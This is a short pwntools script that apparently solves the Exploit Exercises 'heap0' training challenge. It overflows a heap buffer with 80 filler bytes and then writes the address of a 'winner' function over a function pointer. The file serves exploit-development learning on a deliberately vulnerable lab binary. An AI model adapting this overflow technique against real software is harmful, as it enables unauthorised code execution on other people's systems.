solve_exploit_exercises_heap0.py

from pwn import *

_winner = p32(0x08048464)

# data is at 0x804a160, fp is at 0x804a1b0
# (gdb) p 0x804a1b0 - 0x804a160
# $3 = 80
payload = b"A" * 80
payload += _winner

p = process(['./heap0', payload])
p.recv()
p.interactive()